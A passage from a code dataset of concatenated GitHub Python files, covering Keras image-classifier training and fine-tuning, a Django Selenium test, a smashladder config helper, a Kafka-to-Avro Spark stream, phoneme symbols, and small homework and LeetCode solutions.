save the result to a file\nSaveRes.eval_and_save(\n test_dataset, batchno_model,\n \"With Batch Normalization: (training options changed): \")\n\n#SaveRes.history_plot(history_batchno,[\"loss\",\"val_loss\"],[\"Epoch\",\"\"],\"testfile.png\", [\"k\",\"k--\"])\n######### Different Size of Input filters ##########\nincr_model = Part2.get_increasing_convmodel()\n# Same learning options\nincr_model.compile(optimizer=keras.optimizers.SGD(\n learning_rate=learning_rate_constant, momentum=momentum_constant),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n# Train\nconvnet_stop_criterion = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n min_delta=0.001,\n patience=50,\n restore_best_weights=True)\nif (to_train[\"incrconv\"]):\n history_incrconv = incr_model.fit(training_dataset,\n validation_data=validation_dataset,\n epochs=500,\n callbacks=[convnet_stop_criterion])\n incr_model.save(\"incr_conv_model\")\n SaveRes.history_save(history_incrconv,\"incrconv_case_log\")\nif (to_load[\"incrconv\"]):\n incr_model = keras.models.load_model(\"incr_conv_model\")\n# Evaluate and save\nSaveRes.eval_and_save(\n test_dataset, incr_model,\n \"With increasing size of conv. filters: (same training options): \")\n\n#### DROPOUT LAYER\ndropout_model = Part2.get_dropout_model([0.2, 0.5, 0.5])\n\ndropout_model.compile(optimizer=keras.optimizers.SGD(\n learning_rate=learning_rate_constant, momentum=momentum_constant),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n\ndropout_earlystopping = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n min_delta=0.001,\n patience=50,\n mode=\"min\",\n restore_best_weights=True)\ndropout_lr_change = keras.callbacks.ReduceLROnPlateau()\n\n\nif (to_train[\"dropout\"]):\n history_drop = dropout_model.fit(training_dataset,\n validation_data=validation_dataset,\n epochs=500,\n callbacks=[dropout_earlystopping])\n dropout_model.save(\"dropout_model\")\n SaveRes.history_save(history_drop,\"dropout_case_log\")\nif (to_load[\"dropout\"]):\n dropout_model = keras.models.load_model(\"dropout_model\")\n\nSaveRes.eval_and_save(test_dataset, dropout_model, \"With dropout: \")\n\n###### Playing with parameters ###########################\n\n# Let's regularize by performing L2 regularization on the convultional\n# layers, still with dropout, following Srivastava et al.\nl2regmodel = Part2.model_l2_reg(0.002, [0.0, 0.0, 0.0])\ndropout_earlystopping_2 = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n patience=30,\n mode=\"min\",\n restore_best_weights=True)\ndropoutcb = [dropout_earlystopping_2] #dropout_lr_change]\nl2regmodel.compile(optimizer=keras.optimizers.SGD(learning_rate=0.001,\n momentum=momentum_constant),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\nreducelrcb = keras.callbacks.ReduceLROnPlateau(patience = 100)\ndropout_earlystopping_3 = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n patience=150,\n mode=\"min\",\n restore_best_weights=True)\nif (to_train[\"regs_1\"]):\n l2hist = l2regmodel.fit(training_dataset,\n validation_data=validation_dataset,\n epochs=1000)#, #callbacks = [dropout_earlystopping_3, reducelrcb])#,\n #callbacks=dropoutcb)\n l2regmodel.save(\"l2cost_and_dropout\")\n SaveRes.history_save(l2hist,\"l2reg_case_log\")\nif (to_load[\"regs_1\"]):\n l2regmodel = keras.models.load_model(\"l2cost_and_dropout\")\nSaveRes.eval_and_save(test_dataset, l2regmodel,\n \"Dropout and Weight regularization: \")\n \n#### DROPOUT, WEIGHT REG, ADAM OPTIMIZER #########\nl2regmodelad = Part2.model_l2_reg(0.002, [0.2, 0.5, 0.5])\nl2regmodelad.compile(optimizer=keras.optimizers.SGD(learning_rate=0.01,\n momentum=momentum_constant),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\ndropout_earlystopping_3 = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n patience=50,\n mode=\"min\",\n restore_best_weights=True)\nif (to_train[\"regslad\"]):\n l2hist = l2regmodelad.fit(training_dataset,\n validation_data=validation_dataset,\n epochs=1000, callbacks = [dropout_earlystopping_3])\n l2regmodelad.save(\"l2cost_and_dropout_reg\")\n SaveRes.history_save(l2hist,\"l2regadam_case_log\")\nif (to_load[\"regslad\"]):\n l2regmodel = keras.models.load_model(\"l2cost_and_dropout\")\nSaveRes.eval_and_save(test_dataset, l2regmodel,\n \"Dropout and Weight regularization, adam optimizer: \")\n \n# Base + Adam optimizer\n\nif (to_train[\"basead\"]):\n base_mod = Part2.get_untrained_base_model()\n base_mod.compile(optimizer = keras.optimizers.Adam(),loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n earlystop = StoppingCriteria.EarlyStoppingByAccuracy(patience = 5)\n history_base_ad = base_mod.fit(training_dataset,validation_data = validation_dataset, epochs = 1000, callbacks = [earlystop])\n base_mod.save(\"base_model_adam\")\nif (to_load[\"basead\"]):\n base_mod = keras.models.load_model(\"base_model_adam\")\nSaveRes.eval_and_save(test_dataset, base_mod, \"Base with Adam optimizer: \")\n\n\n# Batch, adam optimizer\nif (to_train[\"batchad\"]):\n batchad = Part2.get_model_batchno()\n batchad.compile(optimizer = keras.optimizers.Adam(),loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n hist_batchad = batchad.fit(training_dataset,validation_data = validation_dataset, epochs = 1000, callbacks = [batchno_stop_criterion])\n batchad.save(\"batchno_ad\")\nif (to_load[\"batchad\"]):\n batchad = keras.models.load_model(\"batchno_ad\")\nSaveRes.eval_and_save(test_dataset, batchad, \"Batchno with Adam Optimizer: \")\n\n##############################################################################\n###########BEGIN PART 3 #####################################################\n#############################################################################\n\nimport Part3\n# We'll try with the ResNet50 model. This model accepts only color images, so we need to do a couple of things first: first convert all the images to rgb.\nrgb_train_ds = training_dataset.map(Part3.f_gray_2rgb_prep)\nrgb_val_ds = validation_dataset.map(Part3.f_gray_2rgb_prep)\nrgb_test_ds = validation_dataset.map(Part3.f_gray_2rgb_prep)\n\n# Each Keras application requires very specific preprocessing, so\n# we'll do that as well (for example, resnet requires inputs to be in\n# a BGR rather than RGB format. The function in Part3.py take care of\n# this\nresnet_train_ds = rgb_train_ds.map(Part3.f_resnet50_pre)\nresnet_val_ds = rgb_val_ds.map(Part3.f_resnet50_pre)\nresnet_test_ds = rgb_test_ds.map(Part3.f_resnet50_pre)\n\n# Now load the model\nresnet_base = keras.applications.resnet50.ResNet50(weights=\"imagenet\",\n include_top=False,\n pooling = \"max\",\n input_shape=(64, 64, 3))\n\n# We only want to train the final layer that we are about to add\nresnet_base.trainable = False\n\n# Add the last parameters\nfine_tune_model = keras.Sequential([\n resnet_base,\n keras.layers.Flatten(),\n #keras.layers.Dense(1000),\n keras.layers.Dense(15),\n keras.layers.Softmax()\n])\n\n# Compile and then train\nstop_criterion_b = keras.callbacks.EarlyStopping(\n monitor=\"val_sparse_categorical_accuracy\",\n mode=\"max\",\n # min_delta=0.001,\n patience=50,\n restore_best_weights=True)\nfine_tune_model.compile(optimizer=keras.optimizers.SGD(learning_rate = 1e-5,momentum = 0.9),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n\n# Will multiply the learning rate by factor if no improvement is detected for patience times:\n# Notice that the patience is smaller than the one for the early stoppign criterion, otherwise there is no point here!\nreduce_lr_finetune = keras.callbacks.ReduceLROnPlateau(monitor='val_loss',\n factor=0.2,\n patience=15,\n cooldown = 5,\n min_lr=1e-8)\nval_stop_criterion_ft = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n patience=50,\n #min_delta=0.0001,\n mode=\"min\",\n restore_best_weights=True)\n\nif (to_train[\"finetune\"]):\n history_fine_tune = fine_tune_model.fit(\n resnet_train_ds,\n validation_data=resnet_val_ds,\n epochs=10000,\n callbacks=[reduce_lr_finetune, val_stop_criterion_ft])\n fine_tune_model.save(\"resnet_finetuned\")\n SaveRes.history_save(history_fine_tune,\"resnetft_case_log\")\n print(\"Finished RESNET50\")\nif (to_load[\"finetune\"]):\n fine_tune_model = keras.models.load_model(\"resnet_finetuned\")\n# Evaluate and save\nSaveRes.eval_and_save(resnet_test_ds, fine_tune_model,\n \"Fine-tuning ResNet50: \")\n\n####################### VGG19 #######\n# Trying with vgg19, load it with no final densely connected layers\n# and with max pooling on the pooling layer before the final fully\n# connected layers\nbase_vgg19 = keras.applications.vgg19.VGG19(weights=\"imagenet\",\n include_top=False,\n input_shape=(64, 64, 3),\n pooling=\"avg\")\n\n# Set it to untrainable\nbase_vgg19.trainable = False\n# Build the final model: to get slightly more parameters, add an\n# additional fully connected layer before the final classification\nfine_tune_vgg19 = keras.Sequential([\n base_vgg19,\n keras.layers.Dense(500),\n keras.layers.Dense(15),\n keras.layers.Softmax()\n])\n# Plot the model:\n# keras.utils.plot_model(fine_tune_vgg19,\n# to_file=\"vgg19model.png\",\n# show_shapes=True,\n# show_layer_names=False,\n# dpi=300,\n# show_layer_activations=True)\n\n# Prepare the datasets\nvgg19_train_ds = rgb_train_ds.map(Part3.f_vgg19_pre)\nvgg19_val_ds = rgb_val_ds.map(Part3.f_vgg19_pre)\nvgg19_test_ds = rgb_test_ds.map(Part3.f_vgg19_pre)\n### Compile and train:\nfine_tune_vgg19.compile( #optimizer=keras.optimizers.SGD(learning_rate = 1e-3),\n optimizer=keras.optimizers.SGD(learning_rate=1e-3),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()])\n\n#history_fine_tune_vgg19_1 = fine_tune_vgg19.fit(vgg19_train_ds,\n# validation_data=vgg19_val_ds,\n# epochs=50)\n#SaveRes.history_save(history_fine_tune_vgg19_1, \"fine_tune_vgg19_2.csv\")\n# Change to lower learning rate and continue\n#kerasbe.set_value(fine_tune_vgg19.optimizer.learning_rate, 1e-3)\n\nif (to_train[\"vgg\"]):\n history_fine_tune_vgg19_2 = fine_tune_vgg19.fit(\n vgg19_train_ds,\n validation_data=vgg19_val_ds,\n epochs=1000,\n callbacks=[val_stop_criterion_ft, reduce_lr_finetune])\n SaveRes.history_save(history_fine_tune_vgg19_2, \"fine_tune_vgg19_2.csv\")\n fine_tune_vgg19.save(\"fine_tune_vgg19\")\n print(\"FINISHED VGG19\")\nif (to_load[\"vgg\"]):\n fine_tune_vgg19 = keras.models.load_model(\"fine_tune_vgg19\")\n SaveRes.eval_and_save(vgg19_test_ds, fine_tune_vgg19,\n \"FineTuning vgg19: \")\n \n\n## Once again with a different model, this time we only add a single\n## densely connected outputlayer with 15 output neurons\nreduce_lr_finetune_2 = keras.callbacks.ReduceLROnPlateau(monitor='val_loss',\n factor=0.2,\n patience=5,\n cooldown = 1,\n min_lr=1e-9)\nval_stop_criterion_ft_2 = keras.callbacks.EarlyStopping(\n monitor=\"val_loss\",\n patience=20,\n min_delta=0,\n mode=\"min\",\n restore_best_weights=True)\nif (to_train[\"extravgg\"]):\n fine_tune_vgg19_noadd = keras.Sequential([base_vgg19,\n keras.layers.Flatten(), keras.layers.Dense(15),\n keras.layers.Softmax()])\n fine_tune_vgg19_noadd.compile(optimizer=keras.optimizers.SGD(learning_rate = 1e-5, momentum = 0.9),#SGD(learning_rate=1e-4,momentum=0.9),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()]) \n history_ft_vgg19_noadd = fine_tune_vgg19_noadd.fit(vgg19_train_ds, validation_data = vgg19_val_ds, epochs = 1000, callbacks = [val_stop_criterion_ft_2,reduce_lr_finetune_2])#[val_stop_criterion_ft_2, reduce_lr_finetune_2]) \n SaveRes.history_save(history_ft_vgg19_noadd,\"ftvgg19_case_log_actual.csv\")\n fine_tune_vgg19_noadd.save(\"fine_tune_extra_vgg19\")\n\nif (to_load[\"extravgg\"]):\n fine_tune_vgg19_noadd = keras.models.load_model(\"fine_tune_extra_vgg19\")\n\nSaveRes.eval_and_save(vgg19_test_ds, fine_tune_vgg19_noadd, \"Fine tuning vgg19, no intermediate Dense layer: \")\nif (to_train[\"extravggad\"]):\n fine_tune_vgg19_noadd = keras.Sequential([base_vgg19,\n keras.layers.Flatten(), keras.layers.Dense(15),\n keras.layers.Softmax()])\n fine_tune_vgg19_noadd.compile(optimizer=keras.optimizers.Adam(),#SGD(learning_rate=1e-4,momentum=0.9),\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=[keras.metrics.SparseCategoricalAccuracy()]) \n history_ft_vgg19_noadd = fine_tune_vgg19_noadd.fit(vgg19_train_ds, validation_data = vgg19_val_ds, epochs = 1000, callbacks = [val_stop_criterion_ft_2])#,reduce_lr_finetune_2])#[val_stop_criterion_ft_2, reduce_lr_finetune_2]) \n SaveRes.history_save(history_ft_vgg19_noadd,\"ftvgg19adan_case_log_actual.csv\")\n fine_tune_vgg19_noadd.save(\"fine_tune_extra_vgg19_adam\")\n\nif (to_load[\"extravggad\"]):\n fine_tune_vgg19_noadd = keras.models.load_model(\"fine_tune_extra_vgg19_adam\")\nSaveRes.eval_and_save(vgg19_test_ds, fine_tune_vgg19_noadd, \"Fine tuning vgg19, adam: \")\n","repo_name":"devjosz/cvprproject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":27183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23623517091","text":"import os\nimport array\nfrom itertools import *\nf = open(\"A-small-attempt0.in\",'r');\ng = open(\"results1.dat\",'w')\nn = int(f.readline())\n\nfor l in range(n):\n\tp = map(int, (f.readline()).split())\n\tn = p[0]\n\tpd = p[1]\n\tpg = p[2]\n\t\n\tif ((pg == 100 and pd != 100) or (pg == 0 and pd != 0)):\n\t\tpossible = False\n\telse:\n\t\tpossible = False\n\t\tfor d in range(1,n+1):\n\t\t\twd = pd / 100.0 * d\n#\t\t\tprint wd\n\t\t\tif (wd == int(wd)):\n\t\t\t\tpossible = True\n#\tprint possible\n\t\n\tif possible:\n\t\tg.write(\"Case #\" + repr(l+1) + \": Possible\\n\")\n\telse:\n\t\tg.write(\"Case #\" + repr(l+1) + \": Broken\\n\")\n\t\nf.close()\ng.close()\n\n#print sum(i*j for (i,j) in zip(l1,l2))\n\n\n\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_78/255.py","file_name":"255.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29685432029","text":"from django.test import LiveServerTestCase\nfrom selenium import webdriver\nimport unittest\n\nclass NewVisitorTest(LiveServerTestCase):\n def setUp(self):\n self.browser = webdriver.Firefox()\n self.browser.implicitly_wait(3)\n \n def tearDown(self):\n self.browser.quit()\n \n def test_can_start_game(self):\n # Stefan has heard about a cool new online tic-tac-toe app. He goes\n # to check out its homepage.\n self.browser.get(self.live_server_url)\n \n # He notices the page title and header mention Tic-Tac-Toe\n self.assertIn('Tic-Tac-Toe', self.browser.title)\n header_text = self.browser.find_element_by_tag_name('h1').text\n self.assertIn('Tic-Tac-Toe', header_text)\n \n # He notices an empty tic-tac-toe board game.\n canvas_text = self.browser.find_element_by_tag_name('canvas').text\n self.assertIn('Your browser does not support HTML5 canvas', canvas_text)\n \n \n # At the bottom of the screen, he notices a \"Start Game\" button, \"How To Play?\" button,\n # and a \"Clear Score\" button.\n start_btn = self.browser.find_element_by_id('startGameBtn')\n self.assertEqual('Start Game', start_btn.text, 'The start game button is misconfigured.')\n self.fail(\"Finish the test!\");\n # THE FOLLOWING TESTS WILL BE HANDLED BY THE SELENIUM IDE TESTS.\n \n # Stefan decides to start a new game. \n # Stefan is asked if he would like to be Player X or Player O.\n # Stefan selects Player X.\n \n \n # Stefan wonders which player will go first. He sees that the site randomly selects \n # which player goes first.\n \n # The page updates and an empty tic-tac-toe board game is shown.\n \n # Stefan is asked to select a spot on the board. Stefan notices that when the \n # computer takes a turn that it is quick and automatic.\n \n # Once the game is over, a pop up displays whether the player won or lost.\n \n # Stefan decides to check out the how to play tic-tac-toe instructions\n # and clicks the button to get more information\n \n # The page updates again, and now shows instructions on how to play tic-tac-toe\n \n # He closes the how to play instructions. ","repo_name":"sburre1/tic-tac-toe-challenge","sub_path":"functional_tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37304746677","text":"import pickle\nimport os.path\n\n\nCOOKIE_FILE = 'conf/cookies.dat'\nWHITELISTED_COUNTRIES_FILE = 'conf/whitelisted_countries'\nBLACKLISTED_PLAYERS_FILE = 'conf/blacklisted_players'\nPREFERRED_PLAYERS_FILE = 'conf/preferred_players'\n\n\ndef save_cookies_to_file(cookie_jar, filename):\n with open(filename, 'wb') as f:\n pickle.dump(cookie_jar, f)\n\n\ndef load_cookies_from_file(filename):\n with open(filename, 'rb') as f:\n return pickle.load(f)\n\n\ndef cookie_jar_to_string(cookie_jar):\n cookie = 'timezone=Europe/Berlin; '\n cookie += 'lad_sock_user_id=' + cookie_jar['lad_sock_user_id'] + '; '\n cookie += 'lad_sock_hash=' + cookie_jar['lad_sock_hash'] + '; '\n cookie += 'lad_sock_remember_me=' + cookie_jar['lad_sock_remember_me'] + '; '\n return cookie\n\n\nif os.path.isfile(WHITELISTED_COUNTRIES_FILE):\n with open(WHITELISTED_COUNTRIES_FILE, 'rb') as f:\n WHITELISTED_COUNTRIES = pickle.load(f)\nelse:\n WHITELISTED_COUNTRIES = []\n\nif os.path.isfile(BLACKLISTED_PLAYERS_FILE):\n with open(BLACKLISTED_PLAYERS_FILE, 'rb') as f:\n BLACKLISTED_PLAYERS = pickle.load(f)\nelse:\n BLACKLISTED_PLAYERS = []\n\nif os.path.isfile(PREFERRED_PLAYERS_FILE):\n with open(PREFERRED_PLAYERS_FILE, 'rb') as f:\n PREFERRED_PLAYERS = pickle.load(f)\nelse:\n PREFERRED_PLAYERS = []\n\nTMP_BLACKLISTED_PLAYERS = []\n\n\ndef dump_whitelisted_countries():\n with open(WHITELISTED_COUNTRIES_FILE, 'wb') as f:\n pickle.dump(WHITELISTED_COUNTRIES, f)\n\n\ndef dump_blacklisted_players():\n with open(BLACKLISTED_PLAYERS_FILE, 'wb') as f:\n pickle.dump(BLACKLISTED_PLAYERS, f)\n\n\ndef dump_preferred_players():\n with open(PREFERRED_PLAYERS_FILE, 'wb') as f:\n pickle.dump(PREFERRED_PLAYERS, f)\n\n\ndef whitelist_country(country):\n WHITELISTED_COUNTRIES.append(country)\n dump_whitelisted_countries()\n\n\ndef blacklist_player(player):\n BLACKLISTED_PLAYERS.append(player)\n dump_blacklisted_players()\n\n\ndef prefer_player(player):\n PREFERRED_PLAYERS.append(player)\n dump_preferred_players()\n\n\ndef tmp_blacklist_player(player):\n if player not in BLACKLISTED_PLAYERS or \\\n player in TMP_BLACKLISTED_PLAYERS:\n return\n\n TMP_BLACKLISTED_PLAYERS.append(player)\n\n\ndef remove_whitelisted_country(country):\n if country not in WHITELISTED_COUNTRIES:\n return\n\n WHITELISTED_COUNTRIES.remove(country)\n dump_whitelisted_countries()\n\n\ndef remove_blacklisted_player(player):\n if player not in BLACKLISTED_PLAYERS:\n return\n\n BLACKLISTED_PLAYERS.remove(player)\n dump_blacklisted_players()\n\n\ndef remove_preferred_player(player):\n if player not in PREFERRED_PLAYERS:\n return\n\n PREFERRED_PLAYERS.remove(player)\n dump_preferred_players()\n\n\ndef remove_tmp_blacklisted_player(player):\n if player not in TMP_BLACKLISTED_PLAYERS:\n return\n\n TMP_BLACKLISTED_PLAYERS.remove(player)\n\n\ndef remove_tmp_blacklisted():\n for player in TMP_BLACKLISTED_PLAYERS:\n if player in BLACKLISTED_PLAYERS:\n BLACKLISTED_PLAYERS.remove(player)\n\n dump_blacklisted_players()\n\n\nWHITELISTED_GAMES = { 'Melee': '2', }\n","repo_name":"thomaav/smashladder-python","sub_path":"smashladder/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4743544969","text":"\"\"\" from https://github.com/keithito/tacotron \"\"\"\n\n'''\nDefines the set of symbols used in text input to the model.\n\nThe default is a set of ASCII characters that works well for English or text that has been run through Unidecode. For other data, you can modify _characters. See TRAINING_DATA.md for details. '''\n\n_pad = '_'\n_punctuation = '!\\'(),.:;? '\n_special = '-'\n\n# Phonemes\n_vowels = 'iyɨʉɯuɪʏʊeøɘəɵɤoɛœɜɞʌɔæɐaɶɑɒᵻ'\n_non_pulmonic_consonants = 'ʘɓǀɗǃʄǂɠǁʛ'\n_pulmonic_consonants = 'pbtdʈɖcɟkɡqɢʔɴŋɲɳnɱmʙrʀⱱɾɽɸβfvθðszʃʒʂʐçʝxɣχʁħʕhɦɬɮʋɹɻjɰlɭʎʟ'\n_suprasegmentals = 'ˈˌːˑ'\n_other_symbols = 'ʍwɥʜʢʡɕʑɺɧ'\n_diacrilics = 'ɚ˞ɫ'\n_extra_phons = ['g', 'ɝ', '̃', '̍', '̥', '̩', '̯', '͡'] # some extra symbols that I found in from wiktionary ipa annotations\n\nphonemes = list(\n _pad + _punctuation + _special + _vowels + _non_pulmonic_consonants\n + _pulmonic_consonants + _suprasegmentals + _other_symbols + _diacrilics) + _extra_phons\n\nphonemes_set = set(phonemes)","repo_name":"R2D2FISH/glados-tts","sub_path":"utils/symbols.py","file_name":"symbols.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"61"} +{"seq_id":"75130919234","text":"import pickle\nimport torch\n\nfrom tqdm import tqdm\n\nfrom .datasets.images import PACS_DATASETS, OFFICEHOME_DATASETS\nfrom .models.images import ResNet50HypothesisSpace\n\nDEVICE = 'cuda:0'\n\nif __name__ == '__main__':\n datasets = PACS_DATASETS + OFFICEHOME_DATASETS\n hspace = ResNet50HypothesisSpace()\n h = hspace().to(DEVICE)\n h.eval()\n for dname, dset in tqdm(datasets):\n data = []\n for train in [True, False]:\n loader = hspace.test_dataloader(dset(train=train))\n with torch.no_grad():\n for x, y, *_ in loader:\n z = h.f(x.to(DEVICE)).cpu().numpy()\n for i in range(y.size(0)):\n data.append((z[i], y[i].item()))\n with open(f'{dname}_rn50fts.pkl', 'wb') as out:\n pickle.dump(data, out)\n","repo_name":"anthonysicilia/multiclass-domain-divergence","sub_path":"experiments/make_image_fts.py","file_name":"make_image_fts.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"6862280295","text":"\"\"\"\nKafka JSon Source to Kafka Avro Sink\n\nData:\nKafka Topic: spark-stream-01\n{ \"id\": 1, \"name\": \"Sankar\", \"city\": \"kolkata\", \"country\": \"india\" }\n{ \"id\": 1, \"name\": \"Kun\", \"city\": \"tiangen\" }\n\n\"\"\"\n\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import col, when, from_json, to_json, struct\nfrom pyspark.sql.avro.functions import to_avro\nfrom pyspark.sql.types import StructType, StructField, ArrayType, StringType, LongType, IntegerType, DoubleType\n\nif __name__ == '__main__':\n spark = SparkSession \\\n .builder \\\n .appName(\"Kafka Avro Sync\") \\\n .config(\"spark.sql.shuffle.partitions\", 2) \\\n .config(\"spark.streaming.stopGracefullyOnShutdown\", \"true\") \\\n .config(\"spark.executor.extraClassPath\", \"/Users/apple/PycharmProjects/jars/*\") \\\n .config(\"spark.driver.extraClassPath\", \"/Users/apple/PycharmProjects/jars/*\") \\\n .getOrCreate()\n\n schema1 = StructType(\n [StructField('id', LongType()), StructField('name', StringType()), StructField('city', StringType()),\n StructField('country', StringType())])\n\n input_df = spark.readStream \\\n .format(\"kafka\") \\\n .option(\"kafka.bootstrap.servers\", \"localhost:9092\") \\\n .option(\"subscribe\", \"spark-stream-01\") \\\n .option(\"startingOffsets\", \"earliest\") \\\n .load()\n\n transformed_df = input_df.select(col(\"value\").cast(\"string\")) \\\n .withColumn(\"value_json\", from_json(col(\"value\"), schema1)) \\\n .select(\"value_json.*\")\n\n result_df = transformed_df.select( col(\"name\").alias(\"key\"),\n to_avro(\n struct(\"*\")\n ).alias(\"value\") )\n\n\n stream_query = result_df.writeStream \\\n .format(\"kafka\") \\\n .queryName(\"Kafka Writter 03\") \\\n .option(\"kafka.bootstrap.servers\", \"localhost:9092\") \\\n .option(\"topic\", \"spark-stream-03\") \\\n .option(\"checkpointLocation\", \"checkpoint\") \\\n .outputMode(\"append\") \\\n .start()\n\n stream_query.awaitTermination()\n","repo_name":"sankamuk/PysparkCheatsheet","sub_path":"Structured-Streaming/source/kafka-avro-sink.py","file_name":"kafka-avro-sink.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"61"} +{"seq_id":"5355861598","text":"import os\nimport pandas as pd\n\n# Define the path to the folder containing the stock files\ndata_folder = '/data/'\n\n# Step 1: Read all names of the stock files in data folder that end with \"_1min.csv\", and combine them to a list\nfile_list = [f for f in os.listdir(data_folder) if f.endswith('_1min.csv')]\n\n# Step 2: Iterate through the list to fix the issue of missing minutes\nfor file_name in file_list:\n # Load the CSV file into a Pandas dataframe\n df = pd.read_csv(data_folder + file_name)\n\n # Convert the UTFtime column to a datetime object\n df['Datetime'] = pd.to_datetime(df['UTFtime'], unit='s')\n df = df.set_index('Datetime')\n\n # Resample the data to fill in missing minutes with forward filling\n df = df.resample('1min').ffill()\n\n # Save the fixed data to a new CSV file\n fixed_file_name = data_folder + file_name[:-4] + '_fixed.csv'\n df.to_csv(fixed_file_name, index=False)","repo_name":"webclinic017/Tradebot-16","sub_path":"AI/data_cleaner.py","file_name":"data_cleaner.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3680238945","text":"\"\"\"\nРеалізуйте функцію, параметрами якої є два числа та рядок.\nПовертає вона конкатенацію рядка із сумою чисел\n\"\"\"\n\n\ndef concatenation(a, b, seq):\n if isinstance(a, int) and isinstance(b, int):\n suma = a + b\n res = str(suma) + seq\n return res\n\n\nprint(concatenation(10, 20, 'olga'))\n\n\"\"\"\nРеалізуйте функцію, яка малює на екрані прямокутник із зірочок «*». \nЇї параметрами будуть цілі числа, які описують довжину та ширину такого прямокутника.\n\"\"\"\n\n\ndef draw(h, w):\n result = f\"{'*' * w}\\n\" + \\\n f\"*{' ' * (w - 2)}*\\n\" * (h - 2) + \\\n '*' * w\n return result\n\n\nprint(draw(10, 6))\n\n\"\"\"\nНапишіть функцію, яка реалізує лінійний пошук елемента у списку цілих чисел \nЯкщо такий елемент у списку є, то поверніть індекс, якщо ні, то поверніть число «-1»\n\"\"\"\n\n\ndef search(seq, x):\n for item, index in enumerate(seq):\n if item == x:\n return index\n return -1\n\n\nx = [100, 122, 53, 4, 75, 96, 37, 48, 95, 80]\nres = search(x, 4)\n\n\"\"\"\nНапишіть функцію, яка поверне кількість слів у текстовому рядку\n\"\"\"\nimport string\n\n\ndef num_words(text):\n for i in string.punctuation:\n text = text.replace(i, ' ')\n res = len(text.split())\n return res\n\n\nprint(num_words('Olha, Telizhuk; python. course for beginners'))\n\n\"\"\"\nНапишіть функцію, яка переводить число, що означає кількість доларів і центів, в прописний формат. \nНаприклад:\n> 123,34\n> one hundred twenty three dollars thirty four cents\n\"\"\"\n# pip install num2word # install module to convert numbers into words\nimport num2word\n\n\ndef num_in_words(price_num):\n dollar, cent = price_num.split('.')\n result = f'{num2word.word(dollar).lower()} dollars ' \\\n f'{num2word.word(cent).lower()} cents'\n return result\n\n\nprice = str(input('price = ').replace(',', '.'))\n\nprint(num_in_words(price))\n\n\n","repo_name":"HelgaTe/prog_academy_course_2022","sub_path":"homework/homework_9.1.py","file_name":"homework_9.1.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1639790682","text":"\"\"\"\nGiven the array nums, obtain a subsequence of the array whose sum of elements is strictly greater than the sum of the\nnon included elements in such subsequence.\nIf there are multiple solutions, return the subsequence with minimum size and if there still exist multiple solutions,\nreturn the subsequence with the maximum total sum of all its elements. A subsequence of an array can be obtained by\nerasing some (possibly zero) elements from the array.\nNote that the solution with the given constraints is guaranteed to be unique. Also return the answer sorted in\nnon-increasing order.\n\nExample 1:\n\nInput:\n nums = [4,3,10,9,8]\nOutput:\n [10,9]\nExplanation:\n The subsequences [10,9] and [10,8] are minimal such that the sum of their elements is strictly greater\n than the sum of elements not included, however, the subsequence [10,9] has the maximum total sum of its elements.\n\"\"\"\n\n\nfrom typing import List\n\nclass Solution:\n def minSubsequence(self, nums: List[int]) -> List[int]:\n nums.sort(reverse=True)\n i = 0\n subset = list()\n while i < len(nums):\n if sum(subset) == sum(nums[i:]):\n subset.append(nums[i])\n elif sum(nums[:i]) < sum(nums[i:]):\n subset.append(nums[i])\n i += 1\n return subset\n\n\nif __name__==\"__main__\":\n nums = [4, 3, 10, 9, 8]\n print(Solution().minSubsequence(nums))","repo_name":"amogchandrashekar/Leetcode","sub_path":"Easy/Minimum Subsequence in Non-Increasing Order.py","file_name":"Minimum Subsequence in Non-Increasing Order.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} 